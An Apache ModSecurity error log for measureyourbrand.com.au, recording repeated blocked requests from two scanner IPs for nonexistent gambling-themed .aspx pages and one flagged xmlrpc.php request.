[Sat Apr 25 05:39:37.581471 2026] [:error] [pid 44320:tid 44374] [client 217.182.195.176:59578] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aevjGTmFqSpku_dij8htOAAAAFI"]
[Sat Apr 25 05:39:40.026974 2026] [:error] [pid 44321:tid 44404] [client 217.182.195.176:59584] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aevjHI1b5lV-asWa_Y4goQAAAJU"]
[Sat Apr 25 05:39:42.465810 2026] [:error] [pid 46083:tid 46104] [client 217.182.195.176:59594] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aevjHjxw_Zq74vWdjmkgiAAAARE"]
[Sat Apr 25 05:39:44.984329 2026] [:error] [pid 46083:tid 46088] [client 217.182.195.176:59598] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aevjIDxw_Zq74vWdjmkgmgAAAQE"]
[Sat Apr 25 05:39:47.375446 2026] [:error] [pid 44320:tid 44373] [client 217.182.195.176:55922] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aevjIzmFqSpku_dij8htPAAAAFE"]
[Sat Apr 25 05:39:49.777861 2026] [:error] [pid 44425:tid 44441] [client 217.182.195.176:55926] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aevjJSUl-VlItvY2tR_5JQAAAM4"]
[Sat Apr 25 05:39:52.091288 2026] [:error] [pid 46083:tid 46097] [client 217.182.195.176:55938] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aevjKDxw_Zq74vWdjmkgqQAAAQo"]
[Sat Apr 25 05:39:54.454204 2026] [:error] [pid 44425:tid 44449] [client 217.182.195.176:55954] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aevjKiUl-VlItvY2tR_5KAAAANY"]
[Sat Apr 25 05:39:56.802528 2026] [:error] [pid 44425:tid 44439] [client 217.182.195.176:55560] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aevjLCUl-VlItvY2tR_5MAAAAMw"]
[Sat Apr 25 05:39:59.141928 2026] [:error] [pid 44321:tid 44396] [client 217.182.195.176:55570] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aevjL41b5lV-asWa_Y4gsgAAAI0"]
[Sat Apr 25 05:40:01.540537 2026] [:error] [pid 44425:tid 44430] [client 217.182.195.176:55572] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aevjMSUl-VlItvY2tR_5PQAAAMM"]
[Sat Apr 25 05:40:04.075879 2026] [:error] [pid 46083:tid 46105] [client 217.182.195.176:55580] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aevjNDxw_Zq74vWdjmkgvwAAARI"]
[Sat Apr 25 05:40:06.533019 2026] [:error] [pid 44321:tid 44405] [client 217.182.195.176:55596] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aevjNo1b5lV-asWa_Y4gugAAAJY"]
[Sat Apr 25 05:40:08.989093 2026] [:error] [pid 44321:tid 44398] [client 217.182.195.176:44776] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aevjOI1b5lV-asWa_Y4gxQAAAI8"]
[Sat Apr 25 05:40:30.290513 2026] [:error] [pid 44425:tid 44427] [client 217.182.195.176:44784] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aevjTiUl-VlItvY2tR_5dAAAAMA"]
[Sat Apr 25 05:40:32.783642 2026] [:error] [pid 44320:tid 44379] [client 217.182.195.176:56594] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aevjUDmFqSpku_dij8htSwAAAFc"]
[Sat Apr 25 05:40:35.235338 2026] [:error] [pid 46083:tid 46094] [client 217.182.195.176:56604] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aevjUzxw_Zq74vWdjmkhBAAAAQc"]
[Sat Apr 25 05:40:37.727495 2026] [:error] [pid 44425:tid 44448] [client 217.182.195.176:44096] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aevjVSUl-VlItvY2tR_5gAAAANU"]
[Sat Apr 25 05:40:40.159354 2026] [:error] [pid 44425:tid 44427] [client 217.182.195.176:44106] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aevjWCUl-VlItvY2tR_5iAAAAMA"]
[Sat Apr 25 05:40:42.482785 2026] [:error] [pid 46083:tid 46112] [client 217.182.195.176:44116] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aevjWjxw_Zq74vWdjmkhEgAAARg"]
[Sat Apr 25 05:40:45.117377 2026] [:error] [pid 46083:tid 46107] [client 217.182.195.176:44118] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aevjXTxw_Zq74vWdjmkhHAAAARM"]
[Sat Apr 25 05:40:47.642718 2026] [:error] [pid 44320:tid 44369] [client 217.182.195.176:52798] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aevjXzmFqSpku_dij8htWgAAAE0"]
[Sat Apr 25 05:40:50.420948 2026] [:error] [pid 44320:tid 44373] [client 217.182.195.176:52806] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aevjYjmFqSpku_dij8htXwAAAFE"]
[Sat Apr 25 05:40:52.923740 2026] [:error] [pid 46083:tid 46100] [client 217.182.195.176:52822] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aevjZDxw_Zq74vWdjmkhMAAAAQ0"]
[Sat Apr 25 05:40:55.645368 2026] [:error] [pid 44425:tid 44431] [client 217.182.195.176:52824] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aevjZyUl-VlItvY2tR_5kgAAAMQ"]
[Sat Apr 25 05:40:58.336947 2026] [:error] [pid 44425:tid 44436] [client 217.182.195.176:56690] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aevjaiUl-VlItvY2tR_5oQAAAMk"]
[Sat Apr 25 05:41:00.924816 2026] [:error] [pid 44320:tid 44366] [client 217.182.195.176:56706] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aevjbDmFqSpku_dij8htZAAAAEo"]
[Sat Apr 25 05:41:03.471548 2026] [:error] [pid 46083:tid 46102] [client 217.182.195.176:56710] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aevjbzxw_Zq74vWdjmkhQgAAAQ8"]
[Sat Apr 25 05:41:05.965175 2026] [:error] [pid 44321:tid 44392] [client 217.182.195.176:56718] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aevjcY1b5lV-asWa_Y4hDgAAAIk"]
[Sat Apr 25 05:41:08.659335 2026] [:error] [pid 44425:tid 44432] [client 217.182.195.176:42442] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aevjdCUl-VlItvY2tR_5ygAAAMU"]
[Sat Apr 25 05:41:11.245828 2026] [:error] [pid 44425:tid 44445] [client 217.182.195.176:42450] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aevjdyUl-VlItvY2tR_50wAAANI"]
[Sat Apr 25 05:41:13.769607 2026] [:error] [pid 44425:tid 44433] [client 217.182.195.176:42466] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aevjeSUl-VlItvY2tR_53gAAAMY"]
[Sat Apr 25 05:41:16.294984 2026] [:error] [pid 44321:tid 44389] [client 217.182.195.176:42482] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aevjfI1b5lV-asWa_Y4hLgAAAIY"]
[Sat Apr 25 05:41:18.922134 2026] [:error] [pid 44425:tid 44428] [client 217.182.195.176:41152] [client 217.182.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aevjfiUl-VlItvY2tR_57QAAAME"]
[Sat Apr 25 07:28:09.422115 2026] [:error] [pid 46083:tid 46099] [client 103.50.150.178:33685] [client 103.50.150.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.50.150.178, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aev8iTxw_Zq74vWdjmlSdgAAAQw"]
[Sat Apr 25 08:07:04.473094 2026] [:error] [pid 44321:tid 44391] [client 147.135.213.11:45406] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aewFqI1b5lV-asWa_Y5CCgAAAIg"]
[Sat Apr 25 08:07:06.815642 2026] [:error] [pid 44320:tid 44374] [client 147.135.213.11:44156] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aewFqjmFqSpku_dij8iIfgAAAFI"]
[Sat Apr 25 08:07:09.244041 2026] [:error] [pid 44319:tid 44348] [client 147.135.213.11:44168] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aewFrczJPAVLUb2pWtJjuwAAABM"]
[Sat Apr 25 08:07:11.505049 2026] [:error] [pid 44320:tid 44363] [client 147.135.213.11:44174] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aewFrzmFqSpku_dij8iIgAAAAEc"]
[Sat Apr 25 08:07:14.046331 2026] [:error] [pid 44320:tid 44359] [client 147.135.213.11:44180] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aewFsjmFqSpku_dij8iIgQAAAEM"]
[Sat Apr 25 08:07:16.454676 2026] [:error] [pid 46083:tid 46104] [client 147.135.213.11:59520] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aewFtDxw_Zq74vWdjmlknwAAARE"]
[Sat Apr 25 08:07:18.865142 2026] [:error] [pid 44321:tid 44398] [client 147.135.213.11:59526] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aewFto1b5lV-asWa_Y5CIwAAAI8"]
[Sat Apr 25 08:07:21.251216 2026] [:error] [pid 44319:tid 44349] [client 147.135.213.11:59528] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aewFuczJPAVLUb2pWtJjxgAAABQ"]
[Sat Apr 25 08:07:23.660320 2026] [:error] [pid 46083:tid 46088] [client 147.135.213.11:59530] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aewFuzxw_Zq74vWdjmlkqQAAAQE"]
[Sat Apr 25 08:07:26.075067 2026] [:error] [pid 46083:tid 46093] [client 147.135.213.11:38374] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aewFvjxw_Zq74vWdjmlkrQAAAQY"]
[Sat Apr 25 08:07:28.578277 2026] [:error] [pid 44425:tid 44439] [client 147.135.213.11:38384] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aewFwCUl-VlItvY2tR8tjAAAAMw"]
[Sat Apr 25 08:07:31.109635 2026] [:error] [pid 46083:tid 46098] [client 147.135.213.11:38394] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aewFwzxw_Zq74vWdjmlkvQAAAQs"]
[Sat Apr 25 08:07:33.630920 2026] [:error] [pid 44319:tid 44341] [client 147.135.213.11:38404] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aewFxczJPAVLUb2pWtJj0gAAAAw"]
[Sat Apr 25 08:07:36.045809 2026] [:error] [pid 44425:tid 44442] [client 147.135.213.11:48600] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aewFyCUl-VlItvY2tR8tkgAAAM8"]
[Sat Apr 25 08:07:38.555868 2026] [:error] [pid 44425:tid 44428] [client 147.135.213.11:48616] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aewFyiUl-VlItvY2tR8tmAAAAME"]
[Sat Apr 25 08:07:41.070044 2026] [:error] [pid 44319:tid 44329] [client 147.135.213.11:48622] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aewFzczJPAVLUb2pWtJj2gAAAAA"]
[Sat Apr 25 08:07:43.593778 2026] [:error] [pid 46083:tid 46108] [client 147.135.213.11:48628] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aewFzzxw_Zq74vWdjmlkwAAAARQ"]
[Sat Apr 25 08:07:45.987764 2026] [:error] [pid 44321:tid 44396] [client 147.135.213.11:59418] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aewF0Y1b5lV-asWa_Y5CLwAAAI0"]
[Sat Apr 25 08:07:48.482225 2026] [:error] [pid 44425:tid 44432] [client 147.135.213.11:59422] [client 147.135.213.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aewF1CUl-VlItvY2tR8tpQAAAMU"]
